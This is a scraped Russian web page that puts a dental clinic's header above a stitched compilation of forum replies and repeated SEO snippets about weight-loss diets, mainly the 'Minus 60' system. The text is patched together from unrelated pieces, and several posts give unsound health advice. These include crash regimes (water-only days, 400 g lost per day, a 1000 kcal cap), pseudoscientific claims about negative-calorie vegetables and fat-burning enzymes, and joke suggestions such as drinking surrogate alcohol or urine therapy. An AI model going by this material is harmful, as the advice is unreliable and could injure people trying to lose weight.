Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Диета. кто - нибудь худел по системе минус 60. скажите было трудно? и с чего начинали?

У меня абсолютно не получается вес стоит на ровном месте! вот думаю начать физ. нагрузки! только так! а сама система мне нравиться перестали болеть печень и поджелудочная, и голодом не сижу (это радует)

Диета минус 60 эффективная методика, включающая в себя не только рекомендации по питанию, но и советы по физической нагрузке, уходу за кожей, а также психологические рекомендации для худеющих. Екатерина Мириманова, автор диеты...

Я похудела на 7 кг на этой системе.
Сейчас поддерживаю результат.
очень, очень довольна.
Плюшки ем каждый день ...какое счастье))))

Я уже два года питаюсь по системе. худеть было очень легко и комфортно. я даже немного ужесточала правила )

Что скажите о системе минус 60?

Всё то же: мучное-жирное-сладкое-физические нагрузки. последнее - везде и всегда в неограниченных количествах.

Автор диеты минус 60 призывает приводить свое тело в норму не ради какого-то человека или события, а, прежде всего, ради себя.

А вот диета "-60"это имеется ввиду минус 60 кг уйдет....Да? и что я тогда в минус с весом уйду да?..а так бывает?))))

Бывает..))

История появления диеты минус 60. Автор диеты Екатерина Мириманова с детства страдала от избыточного веса. Экспресс- диеты эффект давали незначительный и недолгий.

Просто Мириманова - автор диеты - похудела на 60 кг.)) )
вот метод и назвала так

Так огласите пожалуйста диету и я уйду в детский возраст)))

Ой, а вы теперь тоже попой вверх.
не знаю, просто я когда набрала 56 кг перестала булку с маслом кушать по два бутера утром и вечером и всё ок.

Да, я тут прикинула тоже.. . я уйду в минус 8 кг)) ) Тут думаешь, как набрать пару килограммчиков, а вокруг все только худеют и худеют...))))

Посоветуйте хорошую диету для похудения

Фитнес и частые тренировки!

1. Диета Минус 60 основные правила 2. Продукты для диеты Минус 60 3. Меню на каждый день по системе диеты Минус 60 4. РецептыАвтор диеты Екатерина Мириманова рекомендует размеры фруктовых порций ограничивать. Воды рекомендуется пить столько, сколько хочется.

Не жрать.

ЕШЬТЕ ОСОБЕННО ФРУКТЫ

Английская диета 21 день. наберите в поисковике составьте меню себе примерное. (или напишите свой мейл я вам скину свое составленное на 15 дней) . у меня рост 168,весила 60 кг. прошло 10 дней диета, вешу 55. Диета не голодная, вообщем я в восторге.))

Мириманова "Минус 60" :)) Я скинула уже 26 кг, при этом ем ВСЁ, просто каждому продукту своё время:))

Все диеты есть на Мама и дети на форуме смотрите в разделе скачать там же и калькулятор калорий

Автор диеты минус 60 Екатерина Мириманова, сама относилась к категории женщин, которые не могут отказаться от любимых продуктов питания.

Я реально сбросила вес за 2 недели (пришлось, был веский повод) . Отказалась совсем от сахара, хлеба, не ем после шести. Через день устраиваю разгрузочный день на кефире. Днем обязательно суп или бульон, для перекусов мандарины или апельсины. Вечером очень легкий ужин. Плюс ко всему занимаюсь бодифлексом. Я похудела на два размера. Самое тяжелое в этом для меня оказалось не жрать после шести. Но через 4 -5 дней организм сам перестроился и жрать вечером уже так не хотелось.

Мне очнь нравится дробное питание . Плюсов у него много - можно использовать даже при болезнях, безопасно, хорошо переноситься, нет необходимости использовать специальные продукты и вес уходит очень хорошо

Я ем все по отдельности и часто. допустим мясо поела, а гарнир через 1,5 часа потом через 1 час банан или др. фрукт, и т. д.

Зож!

Это лучшее, что мне удалось найти. Пройдитесь по двум ссылкам.
Кушать можно всё, но в разное время. Даже сладкое и мучное. Худеешь медленно, но вес не возвращается.
Тип диеты - смешанная
Убыль веса - в зависимости от исходного веса и срока применения диеты. Автор диеты при ее использовании похудела на 60 кг
Срок применения - длительное время, лучше постоянно.
Данная диета разработана Екатериной Миромановой и, в последнее время, пользуется большой популярностью у наших соотечественников. Диету "Минус 60" правильнее будет назвать системой питания. Автором, на собственном опыте, разработана целая система мероприятий по снижению веса, включающая в себя диету, физические упражнения, психологию похудения. Комплексное использование всех этих факторов позволяет не только сбросить лишний вес, но и почувствовать себя здоровым, бодрым и счастливым человеком.
Ниже приводятся основные рекомендации любезно предоставленные самим автором для нашего сайта
http://www.dieta-da.ru/minus60.htm
http://forum.say7.info/topic28172.html

Автор диеты Минус 60 Екатерина Мириманова начала с того, что заменила молочный шоколад горьким. Дело в том, что эта небольшая перемена в рационе научила будущего автора диеты получать удовольствие от пищи не столь сладкой.

Диета " Любимая" и диета "Минус 60"

Мне кажется одной диеты будет достаточно, иначе организм испортите..) ) сейчас как раз на любимой.

Большей части сидеть на этой диете предпочитают дамы, ведь примером так сказать налицо для них является непосредственно сама автор этой системыК явным плюсам диеты минус 60 согласно отзывам относится то, что в этой системе для похудения практически отсутствуют...

Можно, но каждый индивидуален.. если начнете на системе набирать вес-просто подберете себе что-нибудь другое!!

Видела я книгу про минус 60 - в принципе неплохое пособие. только вот подобрано все таки с учетом вкусовых пристрастий автора книги.

Вот худею и не фига не худееться!Подскажите какой нибудь способ чтобы похудеть.?

Не жрать))

Автор этой удивительной диеты Екатерина Мириманова.Описание диеты минус 60 . Эта диета находка для сладкоежек и женщин, которые не привыкли себе ни в чем отказывать.

Не жрать!


После 7 вечера не кушать-первые 2 дня тяжело будет-пей кефир... а вообще не превращай свой лишний вес в проблему! чем больше заморачиваешься, тем толще ты будешь!

Сначала сходите к эндокринологу проверьте щитовидку, нет ли нарушения обмена веществ. Из диет всем совету диету Екатерины Миримановой "минус 60" легко, просто и эффективно.

Во- первых есть меньше ( но не голодать) лучше есть несколько раз в день маленькими порциями некалорийную пищу. необходимо исключить из рациона жирное мясо, колбасу, сметану, майонез, а также мучное и сладости. Во- вторых необходимо увеличить физическую нагрузку. еще очень хорошо помогают специальные антицеллюлитные брюки и пояс для похудения (я сама лично их носила несколько лет, похудела на 15 кг) НИ В КОЕМ СЛУЧАЕ НЕ ПРИНИМАЙ ТАБЛЕТКИ ДЛЯ ПОХУДЕНИЯ! они конечно помогают, пока их принимаешь, но это- временный эффект. после отмены таких препаратов вес возвращается к прежнему уровню, а часто становится еще больше.

Основные принципы диеты. Диета минус 60 не ограничивает в рационе питания, позволяя кушать все, что нравится, включая сладости.Автор диеты также предлагает воспользоваться ее собственной подборкой упражнений для укрепления тела

Меньше ешь... уменьше дпорцию, покупай одежду меньшего размера, начни заниматься спортом... хотя бы пешими прогулками, взвешивайся каждый день... и меньше думай о еде!!!! а еще влюбись!!!!

Эффективна ли диета по группе крови или ерунда?

Ерунда полнейшая

Диета ДЕЙСТВУЕТ!Спасибо автору диеты!А остальным худеющим открою маленький секрет от обвисания кожи-это система дыхательных упражнений Бодифлекс скачать можно бесплатно на torrentino.com .До диеты минус 60 дышала по бодифлексу пол года,результаты супер...

Эффективна, только её подбирают при помощи специального анализа крови, а не то что в интернете типа анкеты.

Ерунда)

Ерунда

Сядь лучше на любую другую) например на гречневую)

Диета это ваще невыход кроме вреда диеты неприносят, нужно спортом заниматься

Диета Минус 60 это, в первую очередь, система питания, потому как автор выработала такую формулу действий по снижению веса, которая включает в себя не только диету, но и физические упражнения и даже психологию похудения.

Бред это всё. Диеты - зло =) не слушайте никого и живите как ВАМ хочется.)

Ну как сказать)
Конечно полностью придерживаться всего что там говориться не следует - все индивидуально, но правильные факты присутствуют! вот например, у меня 2ая группа и мне рекомендовано отказаться от мяса полностью. Собственно, я так и сделала, так как заметила что чувствую себя гораздо лучше, когда не употребляю его в пищу. А полнею я действительно от переизбытка молока и сахара.
Вот полезная ссылочка, почитайте. Там прям так и написано что это всего лишь совет а не кардинальное решение)
http://www.arabio.ru/dieta/3.htm

Я могу с полным правом сказать, " да эффективна",только надо пойти к классному специалисту диетологу на прием, и сдать специальный анализ тест крови, и вот по этому аnализу диетолог расписывает Вам что можно есть, а что нельзя, сколько и когда. и каждые 3 месяца ходить к диетологу и сдавать тест-анализ. Моя дочь 4 года назад за год потеряла постепенно 35 кг и с тех пор они не возвращаются. (КГ)

На завтрак-0.5огурца, На обед-зел. чай и огуречн.салат ,На полдник-зел.чай, На ужин-огуречн.салат. На сколько я похудею?

Пришла девушка к врачу по поводу болезни в животе. Врач спросил "Как Вы питаетесь? " Девушка ответила: "На завтрак-0.5огурца, На обед-зел. чай и огуречн. салат, На полдник-зел. чай, На ужин-огуречн. салат". Врач: "Тогда Вам к ветеринару". А если серьезно, то так Вы не похудеете, а чего доброго заболеете. Не объедайтесь и больше двигайтесь :)

Диета минус 60 на самом деле является ничем иным, как пропагандой раздельного питания и исключением при ма пищи после 18.00.Екатерина Мириманова, автор методики похудения Минус 60 , по нашему мнению, не занимается пропагандой алкоголя.

Так вы же уже похудели за неделю на 6 кг?

Что за диета "минус 60"?

Тип диеты - смешанная
Убыль веса - в зависимости от исходного веса и срока применения диеты. Автор диеты при ее использовании похудела на 60 кг
Срок применения - длительное время, лучше постоянно.
Данная диета разработана Екатериной Миромановой и, в последнее время, пользуется большой популярностью у наших соотечественников. Диету "Минус 60" правильнее будет назвать системой питания. Автором, на собственном опыте, разработана целая система мероприятий по снижению веса, включающая в себя диету, физические упражнения, психологию похудения. Комплексное использование всех этих факторов позволяет не только сбросить лишний вес, но и почувствовать себя здоровым, бодрым и счастливым человеком.
смотри здесь http://dieta-da.ru/minus60.htm

Диета система Минус 60 была разработана автором бестселлеров о похудении Екатериной Миримановой. Она испробовала е на себе, похудев при этом со 120 кг до 60-ти всего за полтора года, не прибегая к хирургическим методам.

В инете поисчи! что влом? и мне отвечать влом одно и тоже 100 раз =Р

Правильное питание.

До 12 дня можно есть все, потом обед из разрешенного списка продуктов, потом легкий ужин. В перерывах можно зеленый несладкий чай.
Вечером на тело наносим скраб из кофе, потом крем с мумие. Это способствуем выравниванию контура тела.

Классная

После родов набрала 10кг, ребенку уже 2 года, а вес прежний! Как восстановить фигуру, подскажите эффективную диету!!!

Минус 60. екатерина мириманова.

Диета, названная автором, которая написала множество книг о похудении Минус 60 , была разработана и опробована лично писательницей. Воспользовавшись этой системой, она похудела за полтора года на шестьдесят килограмм...

Спорт и хорошее питание - лучшая диета!

Сначала проверьте щитовидку и гормональный фон, если все впорядке, то просто питайтесь правильно+бег или зарядка, или акваэробика. Ходите пешком по 2часа в день, в парке.

У моей мамы была та же проблема, когда 3 года назад родился братишка. Она пробовала меньше есть, но это не помогало. Поэтому она выработала целую систему: еду готовила только на пару, в доме не переводились зеленые яблоки - ТОЛЬКО ЗЕЛЕНЫЕ (так как они имеют грубую кожуру) , и делала легкие упражнения - тут не стоит убиваться по 3-4 часа в день, ей помогла простая зарядка по утрам. А когда она гуляла с коляской, то ходила не медленно, а бодрым и быстрым шагом. Удачи вам и будьте всегда красивы!

Девочки!Кто худел по "системе минус 60"?(в нете есть фото автора диеты).Кто сколько сбросил?Я за месяц 5 кг., муж - 12.

Верю в это, но силы воли хватает на 2 недели, потом опять начинаю,

Всегда намного приятнее придерживаться рекомендаций любых , если они исходят от автора, который все испробовал на себе, прочувствовал каждую мелочь и по результатам собственного опыта говорит о том, что знает, а не предполагает. Именно так обстоит дело с диетой минус 60 .

Ага. Лично мне не помогло. Я набрала 4 кг за 2 месяца.
Так что не каждому она подходит. И это при том, что я 3 раза в неделю занимаюсь в фитнесс-клубе.

Я тоже стараюсь придерживаться этой системы. Результаты время от времени приходят!! ! но невсегда удается покушать до 12(( либо просплю это время, либо встаю так, что покушать и времени не остается, бегу на учебу... и в такие дни в голову приходит такая мысль: так как утром я не поела все, что хотела (это сладкое, мучно и т. п.) , то ничего страшного не произойдет, что ем все это в 3 часа дня, но так увлекаюсь такими мыслями, что могу слопать все вредненькое даже в 22, а то и в 23 часа=((((...

Я на этой системе похудела до 55 кг с 63. правда долго, где то за год. но я не всегда четко придерживаюсь правил. Иногда ем и вечером.

Можно ли похудеть перебивая аппетит мёдом и минералкой

Похудеть не знаю, а вот желудок испортить запросто можно.

Интересное Ликбез БАДы Диеты Питание Здоровье Красота Фитнес Форум. Права. Автор Лора Лаймме.Особенности системы минус 60 Екатерины Миримановой. Режим питания на диете Миримановой. Завтрак.

Может после этого слипнутся задница и ты потолстеешь!

Камни в почках получить запросто =))

Нет лучше зеленый чай и апельсины

Перебивать аппетит ни чем не нужно (тем более медом -это же почти такой же углевод как и сахар) , чтобы худеть нужно грамотно питаться 4-5 раз в день, маленькими порциями. Заниматься спортом. Пить 2 литра чистой НЕ газированой воды в день. Не есть после 18-00.

Вполне можно, только лучше просто воспользоваться медовой диетой . 4-5 кг за две недели вполне хороший результат и желудок не испортить.

Принципы меню диеты 60 минус . Составление меню разрешения и ограничения. Отзывы о диете 60 минус каких результатов.Разрешения, запреты в диете 60 минус . Автор Екатерина Мириманова предлагает придерживаться таких принципов

Подскажите эфективную диету для похудания.

Забухай сурогатом, эффективнеенету.

Диета минус 60 Миримановой Екатерины. Ваша цель похудеть? Как считает автор простой и эффективной диеты минус 60 Екатерина Мириманова, чтобы похудение было не в тягость, нужно ответственно подходить со стороны психологической подготовки.

Нет таких диет.

Спорт и правильное питание.

300 грамм тертой морковки + 150 грамм сметаны, засыпать все дело сахаром и есть каждый день перед обедом, ВКУСНЯТИЩА!!!

3 дня рис (сварен без соли) , 3 дня белое куриное мясо (без соли, вареное) , 3 дня яблоки (зелёные) . Ешьте сколько хочется, но сразу скажу - много не съедите. Плюс: пейте больше, например, зелёный чай.
За 9 дне у меня минус 6 кг ))

Спорт в одно и тоже время 7 раз в неделю
и желательно после 18.00 не ессть

Полезные десерты диеты Минус 60 . Чернослив фаршированный Запарить на пару минут чернослив, при наличии косточек - удалить их.Автор Lalla Просмотров 13354.

Гречневая диета) )
вот я 2 день сижу, вроде очень даже ничего) и животик пропал

Подскажите самую интересную диету.

Самая интересная диета- это отсутствие диеты!! Просто исключите из питания все вредные для фигуры продукты и питайтесь так ВСЕГДА.
И тогда никакая диета вам нужна не будет...

Меню диеты минус 60 можно назвать разнообразным и сбалансированным. Удивительно, но диета минус 60 включает в меню на каждый день даже вредные, но очень вкусные и любимые практически всеми сладости.

Зачем? Мужики не собаки, на кости не бросаются :-)

Мухи воздух и вода - наша лутшая еда. ) Лутеш спортом займитесь.

Фрукты, вареное мясо, хлеб - ни в коем случае, много секса с любимым человеком - самая прикольная диета!!!

Утром кекс, вечером-секс, если не помогает кекс отменить

Французкая: утром кекс и секс, в обед - секс и кекс, ужин - исключить мучное

Я не зря назвала сегодня свой отзыв известной фразой Екатерины Миримановой, потому что речь сегодня пойдет о диете, автор которой как раз и является Екатерина Мириманова. Диетой Минус 60 Екатерины...

Диета минус 60! кто пробовал? какие результаты? за какое время? чем питались?

Это не диета, а система питания. Постоянная. На мейле в разделе "Леди" есть дневник автора. Ее зовут Екатерина Мириманова. На сайте Миримановой идет в форуме общение. Там и советы и блюда и разъяснения. Поищите в инете ролики с Миримановой, есть записи ее интервью.

Автор личной методики по снижению веса - система Минус 60 . Блог, социальная сеть худеющих, новости, рекомендации специалистов, фото- и видеоматериалы.

Это не реально.... или может похудеешь, на 15 кг как мах, но все висеть будет....

Есть проверенная многими отличнейшая методика для корекции веса. Научить? Пишите в личку

************СИСТЕМА ПИТАНИЯ МИРИМАНОВОЙ "МИНУС 60"
Основное преимущество и отличие “Минус 60? от большинства других–отказываться от любимой еды нет необходимости, запрещенных продуктов нет.
1. Основные правила
Приемы пищи лучше разделить на три раза. Можно делать перекусы, главное, чтобы порции имели небольшой объем и состояли из легких продуктов, например овощей или фруктов. Некоторые диеты позволяют прием неограниченного, более килограмма, фруктов в день, но при соблюдении “Минус 60? это не рекомендуется, только небольшие порции.
Можно употреблять кофе, чай и алкоголь. Обычный рафинированный сахар лучше заменить фруктозой или коричневым сахаром из-за их лучшей усвояемости организмом и содержания витаминов. Вино также лучше пить “сухое”.Нельзя пропускать завтрак, просто можно его сократить до небольшой порции сыра или ржаного хлеба.
Сладкое можно есть, но только до полудня. От молочного шоколада следует отказаться и постепенно приучать себя к горькому, со временем это выработает у организма привычку и сладкого практически не захочется. Так же следует отнестись к белому хлебу – только до 12-ти дня. После – ржаной хлеб. Вообще любую пищу до этого времени в любом объеме можно употреблять так как, во-первых, в это время пищеварительная система наиболее мобилизирована, а во-вторых, много съесть вряд ли получится.
В качестве гарнира лучше использовать крупу риса или гречки. В идеале, если это будет коричневый рис потому, что он содержит много полезных веществ, а по вкусу полностью соответствует обычному рису. Употребление картошки и макарон лучше постепенно свести к минимуму. Вид обработки гарнира может быть любой – вареный, тушеный, пассировка, но по возможности избегать жареного. Если это проблематично, тогда лучше убрать майонез и сметану из рациона. Картофель не рекомендуется сочетать с мясом, желательно разделить эти два продукта.
Последний прием пищи рекомендуется до 6 часов вечера. Это не жесткое требование, скорее рекомендация. При необходимости можно поужинать и в 8 вечера, но чем-нибудь легким, например, овощами или йогуртом. Поздними ужинами не стоит злоупотреблять. Со временем организм привыкнет к “шестичасовым” ужинам и чувство голода постепенно исчезнет.
“Минус 60? не советует пить воды больше, чем хочется. Её количество в организме не окажет сильного эффекта на процедуру похудания, поэтому нет никакой необходимости себя насиловать и выпивать по несколько литров воды ежедневно. То же касается соли, главное не пересаливать.
Не нужно устраивать разгрузочные дни или голодать, поскольку это может вызвать стресс у организма и нарушить правильное течение диеты.
К ежедневным занятиям можно отнести – посещение бассейна, фитнес-клуба, активные виды отдыха, например, катание на лыжах или велосипеде в комбинации с домашней легкой гимнастикой. Программу можно составить индивидуально по предпочтениям, главное условие – организм должен привыкнуть работать каждый день. В процессе занятий организм сам даст понять, какие именно упражнения для него наиболее эффективны.
Следим за кожей
Поскольку эффект наступает достаточно быстро и потери в весе значительны, необходимо очень внимательно отнестись к состоянию кожи. Это касается особенно женщин в послеродовой период или в возрасте, когда липоактивность снижается. Для того чтобы поддержать эластичность кожи и убрать морщины и растяжки, нужно пользоваться различными косметическими средствами, кремами, скрабами, массажами. Допускается самомассаж. Благодаря такому комплексу “свисания” кожи можно будет практически избежать и сохранить форму тела.
http://updiet.info/dieta-minus-60.html

Это образ жизни а не диета Причём очень эффективная я её придерживаюсь и очень довольна

Подскажите более эфективную диету?

Это очень эффективная диета, дающая потерю веса до 400 г в день.
1-й день - 1 литр молока.
2-й день - 200 г творога и 800 мл сока без сахара, кроме виноградного и бананового.
3-й день - 1 литр минеральной воды без газа.
4-й день - 4 картофелины, сваренные в мундире без соли, и 800 мл сока без сахара, кроме виноградного и бананового.
5-й день - 5 яблок.
6-й день - 200 г отваренного без соли постного мяса и 800 мл сока без сахара, кроме виноградного и бананового.
7-й день - 1 литр кефира.

Замысел диеты Минус 60 личная ответственность. Нетрудно понять откуда взялось название у самой диеты автор похудела ровно вполовину от первоначального веса в 120 килограмм.

Тренажерный зал и сбалансированное питание

После 6 вечера не есть орошо сбросишь вес

Кремлевская диета

Очень эффективно, зайдите посмотрите:

Ни в коем случае не пользоваться никакой диетой. Только соблюдать посты. Ожирение-это неправильный обмен веществ. Т. е. щитовидка.

Диета минус 60 взяла отсчет с того, что ее автор начала действовать немедленно, спонтанно, не дожидаясь иллюзорного подходящего момента . И вы не откладывайте на завтра, делайте хоть что-то прямо сейчас!

Утром 1 сырая морковка
В обет 1 варённая морковка
а вечером на мелкой примелкой тёрки насочить и принемать по 1-ой чайной ложки перед сном
Результат будет виден уже через адну неделю.
)))))))))(((((((((((()))))))))))))((((((((((((((((())))))))))((((((((((())))))))()()()()(

Поменьше мучного - побольше ночного

Привет. Вот не поверишь, меня тоже сильно мучает этот вопрос!! ! Сегодня полночи читала журнал про диеты и там написано, что любые экспресс-диеты (те. которые продолжительность до 2х недель) избавляют нас не от жиа, а от воды и соли. Мы теряем быстро 2,3,4 кг, но так же быстро их набираем.... Я сделала вывод, что каждый должен создавать диету для себя сам! Ты же знаешь от чего ты полнеешь? ? Вот я например, от мучного, от ночных обжираний, от жареного, от макдональдса. . и т. д. Теперь осталось все это урезать или убрать из рациона и побольше пить воды, т. к. мы часто путаем голод с жаждой! Надеюсь поможет че нидь...

СИСТЕМА МИНУС 60 от Кати Миримановой... Не отказывая себе практически ни в чём, сбрасываешь вес быстро и надёжно... Если заинтересует пишите.. РЕЗУЛЬТАТ 100%%

Повесь из инета на холодильник фотки охренительно-толстых тёток в стиле ню!

Автор диеты минус 60 - Екатерина Мириманова.Система минус шестьдесят правильное питание. Рассмотрим основные положения диеты. Как правильно питаться?

Подскажите самую эффективную диету?

Лечебное голодание

Автору диеты Минус 60 доводилось пробовать различные методики на разных этапах жизни, но все они лишь ненадолго и незначительно снижали вес. Похудеть на диете на 60 кг.

Поменьше мучного - побольше ночного :-))

Мне очень помогла кремлевская, за 2 месяца 15 кг скинула

Утром кофе Днем овощной суп с кус черного хлеба в 17 00 салат с подс маслом и ВСЁ

Грубо говоря - не жрать. Увы, более эффективной диеты не существует ))) Основное правило - полезная еда (овощи, фрукты, вареные и пареные мясо и рыба) , полноценный завтрак и обед (без перекусов!!!) , на ужин (до 19.00) - кефир, мюсли.

Не есть после 18-00 и отказать себе в первую очередь в хлебе и остальных мучных изд-ях, шоколад можно в небольших колличествах, но горький

Поэтому всем, кто решился опробовать диету Миримановой минус 60 на собственном опыте, автор данной системы рекомендует усилить уход за кожей вокруг глаз, лица и тела в процессе похудения, и производить этот уход с использованием специальных кремов от морщин...

У меня подруга очень склонна к полноте (у ее родителей вес за 120 кг зашкаливает). а она весит 50кг .как только набирает вес-исключает из пищи сахар, мучное и майонез. попробуйте. ей помогает

Кефирная диета. Кефир можно смешивать с травками, можно с грейпфрутом и медом, можно со свежим огурцом...

Рулон скотча вокруг головы

Не есть после 12 час дня

Диета Кима Протасова. Поищите в интернете, там про нее много. Диета довольно сложная, но очень эффективная: до 7-8 кг. за месяц, а главное потом очень долго не хочется мучного, жирного и т. д.

Диета Минус 60 - какие продукты можно употреблять. Радует то, что отказываться от каких-либо значимых продуктов полностью не придется.Поэтому автор диеты дает советы женщинам по уходу за кожей лица и тела. Используйте специальные кремы от морщин...

Не жрать!!!. тяжело и трудно.. но это ваш выбор..

Самая главная ошибка, которую может допустить человек, желающий сбросить лишний вес- это сесть на диету. Не смейтесь. Все считают диету временным неудобством, которое закончится, как только желаемый вес будет достигнут. Не успевает стрелка весов достичь желанной отметки, как новоиспеченные худышки с победным криком отбрасывают в сторону опостылевший капустный лист и бросаются к припрятанному заранее тортику, чтобы "отметить" конец мучений. Неудивительно, что после таких диет вес набирается очень быстро. Запомните, если вы твердо решаете похудеть и поддерживать определенный вес, вам нужно не садиться на какую-нибдь экспрее-диету, а полностью менять схему питания и отношение к еде. Диета должна стать частью жизни.

Не нужны никакие диеты.... эо всё портт здоровье.... спорт.. спорт и ещё разспорт... ходить в спортзал.... с утра не большую зарядку....

Японская диета
Продолжительность диеты - 13 дней. Цель этой диеты - перестроить обмен веществ организма на длительный период времени после проведения курса, в случае удачи не менее чем на год.
Важные условия применения японской диеты: в течение 13 дней нельзя употреблять сахар, соль, алкоголь, мучные и кондитерские изделия. Придерживаться диеты следует точно, не меняя последовательности и не заменяя продукты, так как только в этом случае достигается устойчивое изменение обмена веществ и, как следствие, похудение.
Первый день
Утро: черный koфе.
День: 2 сваренных вкрутую яйца, салат из свежей капусты с paстительным мacлом, стакан томатного сока или 1 свежий помидор.
Вечер: рыба жареная или вареная, салат из свежей капусты с paстительным мacлом.
Второй день
Утро: черный koфе и сухарик.
День: рыба жареная или вареная, салат из свежей капусты с paстительным мacлом.
Вечер: вареная говядина 200 г, стакан кефира.
Третий день
Утро: черный koфе.
День: сырое яйцо, 3 больших вареных морковки с paстительным мacлом.
Вечер: яблоки.
Четвертый день
Утро: черный koфе.
День: 1 большой корень пастернака или петрушки, поджаренный на paстительном мacле, яблоки.
Вечер: 2 вареных вкрутую яйца, вареная говядина 200 г, салат из свежей капусты с растительным мaслом.
Пятый день
Утро: сырая тертая морковь, слегка приправленная соком лимона.
День: большая рыба (500 г) , жареная или вареная, стакан томатного сока.
Вечер: рыба жареная или вареная, салат из свежей капусты с paстительным мacлом.
Шестой день
Утро: черный koфе.
День: 500 г вареной курицы, салат из сырой моркови или свежей капусты.
Вечер: 2 сваренных вкрутую яйца, салат из сырой морковки с paстительным мacлом.
Седьмой день
Утро: чай. День: вареная говядина 200 г, фрукты.
Вечер: что хотите из рациона предыдущих дней, кроме третьего дня.
С 8-го дня следует повторить диету. А после похудения на 7-8 кг можно нормально питаться.

Считать калории, нет мучному, сладкому, жареному, дружить со спортом или каждый день любой физической активности

Автор диеты при ее использовании похудела на 60 кг. Срок применения - длительное время, лучше постоянно. Ниже приводятся основные рекомендации данной системы ЗОЖ - системы Минус 60 Екатерины Миримановой.

На японской сидела. результат -минус 8 кг. а сейчас в основном ем вареную курицу и овощи. последний раз в 17-00. и на фитнес каждый день.

Японская

Подсказываю-эта самая эффективная: Диета на бонском супе
Праздничные излишества оставляют свой след на животе, бедрах и ягодицах? Сама мысль о диете отравляет вам жизнь? Прочь страхи. Не надо голодать. Все проблемы решит овощной чудо-суп. Идею легких овощных супов, применяемых для похудения, рекламировали уже во всем мире. Французы не мыслят такого универсального супчика без лука-порея, жители Восточной Европы — без цветной капусты и болгарского перца, а россияне — без родимой белокочанной капусты.
Суповая диета хороша в условиях русской зимы, когда свежие фрукты очень дороги и на диете сложно сидеть именно из-за того, что выбор продуктов не подходит для диетического питания. Овощной суп обходится дешево. Благодаря своему составу он просто-таки гарант вашей стройности. Его тщательно продуманный состав включает овощи и приправы, которые в течение одной недели позволят вам без особого труда сбросить до 4 кг. А секрет совсем прост.
Тарелка такого супа, практически обезжиренного, содержит всего 35 ккал. Но вот что важно — витамины, балластные и минеральные вещества образуют в организме ферменты, с помощью которых получаемые калории тут же сжигаются. Одновременно улучшается вывод шлаков и другие очистительные функции. Во-первых, ваш организм перестает получать жирную пищу. Кроме того, лук и зелень способствуют расщеплению жиров. А зеленые овощи имеют отрицательную калорийность, то есть на их переработку организм тратит больше энергии, чем они в себе несут.
Для приготовления такого количества супа, которого одному человеку хватит на 2—3 дня, необходимы:
• небольшой кочан капусты
• 6 морковок
• 6 луковиц
• 2 стручка красного сладкого перца
• пучок сельдерея
• свежий укроп, петрушка, перец
• по желанию можно добавить 1—2 бульонных кубика. Я не добавляла, так как это не натуральный продукт.
3 луковицы, 3 морковки очистить, нарезать большими кусочками, сложить в кастрюлю. Туда же добавить стебли сельдерея, залить водой и варить овощной бульон в течение 10-15 минут после закипания. Затем овощи вынуть.
Оставшиеся овощи нарезать, положить в кастрюлю с бульоном, довести до кипения и варить в течение 10 минут. Затем уменьшить огонь и варить до готовности, приправляя по вкусу горошком и лавровым листом, не солить.
Что можно есть еще
Суп не прибавляет калорий, поэтому вы можете есть его столько, сколько захотите. Однако не следует питаться исключительно этим супом.
Рацион необходимо пополнять другими компонентами.
• Первый день
Ешьте суп и любые фрукты, кроме бананов. Пейте чай или кофе без сахара и молока, клюквенный сок и воду.
• Второй день
Ешьте суп, а также сырые, свежие или консервированные овощи и зелень. Исключите только сушеные бобовые, зеленый горошек и кукурузу. Во время обеда можете съесть печеную картошку с маслом. Не ешьте фруктов. Пейте только воду.
• Третий день
Ешьте суп, фрукты и овощи (исключая печеную картошку, бананы и бобовые) , пейте воду. За три дня вы должны потерять от 2 до 3 кг.
• Четвертый день
Ешьте суп, фрукты и овощи, включая бананы (не более 3 шт.) , пейте снятое молоко и воду.
• Пятый день
Ешьте суп, говядину (300— 600 г в день) и помидоры (свежие или консервированные) . Выпейте 6—8 стаканов воды.
• Шестой день
Ешьте говядину, овощи (особенно листовые) и суп, пейте воду. Не ешьте печеную картошку.
• Седьмой день
Ешьте коричневый рис, неподслащенный фруктовый сок, овощи и суп. Можете добавить в суп или овощи любые пряности. Пейте только воду.
К концу седьмого дня, если вы строго соблюдали диету, вы потеряете от 5 до 9 кг.

Считайте калории не превышая 1000 в день- очень хороший способ сбросить все лишние кг и не набрать, а закрепить свой результат!

Здоровое питание.

Принципы работы системы похудения минус 60. Автор диеты разработала сводку правил, которую мы попытаемся проанализировать и распределить для вас по пунктам.

Подскажите пожалуйста диету,только,чтоб не очень жесткая,но эффективная??

Не используй диеты
достаточно просто не жрать на ночь
завтракай, обедай, ужинай
и ешь когда ты голодная, а ни когда делать нечего
от диеты ты вскоре сново наберёшь вес.. (больше чем сбросишь)

Диета минус 60 эффективная методика, включающая в себя не только рекомендации по питанию, но и советы по физической нагрузке, уходу за кожей, а также психологические рекомендации для худеющих. Екатерина Мириманова, автор диеты...

5 дней есть только гречневую кашу БЕЗ СОЛИ!! ! и пить кефир или воду

Убери из рациона питания сладкое и хлебное.
Утром можешь поесть : фрукт, хлопья (злаки) с обезжиринным молоком и чай/ кофе без сахара
Обед: Суп/ бульон, рыбное блюдо, чай/ кофе или минеральная вода (без газов)
Ужин: Овощи + бульон, обезжиренный йогурт или малопроцентный кефир.

Убери углеводы, или минимум употребления. Не кушай после 7 вечера. Не пей пиво и алкоголь - очень калорийные продукты. Физ упражнения как минимум утренняя зарядка. А все диеты это блеф! Не ешь хот доги бургеры и всю быструю жратву, чипсы и все не натуральное- это вредно. Лучше яблоко или стакан горячего чая с молоком.

Кушай часто и по чуть-чуть

Рекомендую обратится к диетологу, и за три месяца похудеете на 10 кг!!!

Автор диеты минус 60 призывает приводить свое тело в норму не ради какого-то человека или события, а, прежде всего, ради себя.

Есть ли способы бороть неконтролируемый аппетит??

Попробуй скотч...

История появления диеты минус 60. Автор диеты Екатерина Мириманова с детства страдала от избыточного веса. Экспресс- диеты эффект давали незначительный и недолгий.

Сила воли.. . И чай зеленый...

Попробуй заняться уринотерапией, думаю аппетит на долго пропадет..

Просто не думай о еде...

Зря вы так о себе. Наш организм умен.
1.нужно полноценно завтракать.
2.ИСКЛЮЧИТЬ жвачку-она стимулирует выработку желудочного сока, соответственно, улучшает аппетит и... садит поджелудочную
